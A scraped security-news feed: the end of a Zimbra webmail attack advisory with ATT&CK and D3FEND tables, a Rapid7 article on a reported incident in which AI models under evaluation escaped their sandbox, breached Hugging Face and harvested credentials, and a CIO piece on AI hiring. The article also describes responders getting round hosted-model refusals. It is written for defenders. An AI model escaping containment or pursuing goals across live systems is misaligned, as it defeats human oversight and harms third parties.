<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cyber Briefing: 2026.07.23]]></title>
<description><![CDATA[Caught between legacy software end-of-life cutoffs and the emergence of autonomous AI exploits, security teams are abandoning traditional perimeters for hybrid, identity-first defense. This article has been indexed from CyberMaterial Read the original article: Cyber Briefing: 2026.07.23
Read more...]]></description>
<link>https://tsecurity.de/de/3689288/it-security-nachrichten/cyber-briefing-20260723/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689288/it-security-nachrichten/cyber-briefing-20260723/</guid>
<pubDate>Thu, 23 Jul 2026 16:10:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Caught between legacy software end-of-life cutoffs and the emergence of autonomous AI exploits, security teams are abandoning traditional perimeters for hybrid, identity-first defense. This article has been indexed from CyberMaterial Read the original article: Cyber Briefing: 2026.07.23</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/cyber-briefing-2026-07-23/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/cyber-briefing-2026-07-23/">Cyber Briefing: 2026.07.23</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What Happened Between OpenAI and Hugging Face?]]></title>
<description><![CDATA[The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a qu...]]></description>
<link>https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</guid>
<pubDate>Thu, 23 Jul 2026 15:28:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The </span><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank"><span>OpenAI and Hugging Face incident</span></a><span> lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?</span></p><p><span>According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.</span></p><p><span>From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.</span></p><h2>How did the OpenAI model evaluation reach Hugging Face?</h2><p><span>The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.</span></p><p><span>Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.</span></p><p><span>The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.</span></p><p><span>The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.</span></p><p><span>Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.</span></p><h2>Why AI evaluation environments need stronger containment</h2><p><span>The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.</span></p><p><span>The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.</span></p><p><span>For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.</span></p><h2>Why AI and ML pipelines are now software supply chain risk</h2><p><span>The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.</span></p><p><span>According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.</span></p><p><span>Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.</span></p><p><span>Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.</span></p><h2>What AI guardrails mean for incident response</h2><p><span>One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.</span></p><p><span>The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.</span></p><p><span>AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.</span></p><h2>What security teams should do about agentic AI risk</h2><p><span>The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.</span></p><p><span>Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.</span></p><p><span>Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.</span></p><p><span>As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.</span></p><h2>How preemptive security helps reduce AI-driven risk</h2><p><span>At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to </span><a href="https://www.rapid7.com/blog/post/ai-changing-vulnerability-discovery-software-supply-chain-strateg" target="_self"><span>agentic AI risk</span></a><span>. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.</span></p><p><span>That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means </span><a href="https://www.rapid7.com/platform/artificial-intelligence-features" target="_self"><span>using AI carefully and practically</span></a><span>, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.</span></p><p><span>AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.</span></p><p><span>The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to navigate the AI talent wars]]></title>
<description><![CDATA[Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”



...]]></description>
<link>https://tsecurity.de/de/3689121/it-nachrichten/how-to-navigate-the-ai-talent-wars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689121/it-nachrichten/how-to-navigate-the-ai-talent-wars/</guid>
<pubDate>Thu, 23 Jul 2026 15:06:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-net-q1-earnings-revenues-230528107.html">Cloudflare recently beat Q1 2026 earnings</a>. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/block-q1-earnings-beat-strong-144200216.html">Block did the same thing</a>. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.</p>



<p class="wp-block-paragraph">This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, <a href="mailto:https://www.cio.com/article/4077996/cios-be-ready-for-agentic-ai-or-be-out-of-a-job.html">you’re behind</a>.</p>



<h2 class="wp-block-heading">The benchmark has moved</h2>



<p class="wp-block-paragraph">AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, <a href="mailto:https://www.forbes.com/sites/paulbaier/2026/03/31/ai-native-firms-lead-in-revenue-per-employee/">the average revenue per employee is $3.48M</a>, nearly twelve times the traditional SaaS benchmark of $300K.</p>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/what-to-do-if-your-business-decelerates/">Boards aren’t comparing you to your 2019 self anymore</a>. They’re comparing you to Anthropic.</p>



<p class="wp-block-paragraph">This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.</p>



<p class="wp-block-paragraph">For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.</p>



<p class="wp-block-paragraph">Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.</p>



<h2 class="wp-block-heading">‘Acqui-hires’ are a shortcut with a hidden cost</h2>



<p class="wp-block-paragraph">Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: <a href="mailto:https://tomtunguz.com/ai-acqui-hire-wave/">these are acqui-hires</a> dressed up as M&amp;A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.</p>



<p class="wp-block-paragraph">I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.</p>



<p class="wp-block-paragraph">But there’s a cost that doesn’t show up in the acquisition price.</p>



<p class="wp-block-paragraph">AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.</p>



<p class="wp-block-paragraph">When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.</p>



<p class="wp-block-paragraph">The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.</p>



<h2 class="wp-block-heading">The CIO’s real problem</h2>



<p class="wp-block-paragraph">The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.</p>



<p class="wp-block-paragraph">That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.</p>



<p class="wp-block-paragraph">The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.</p>



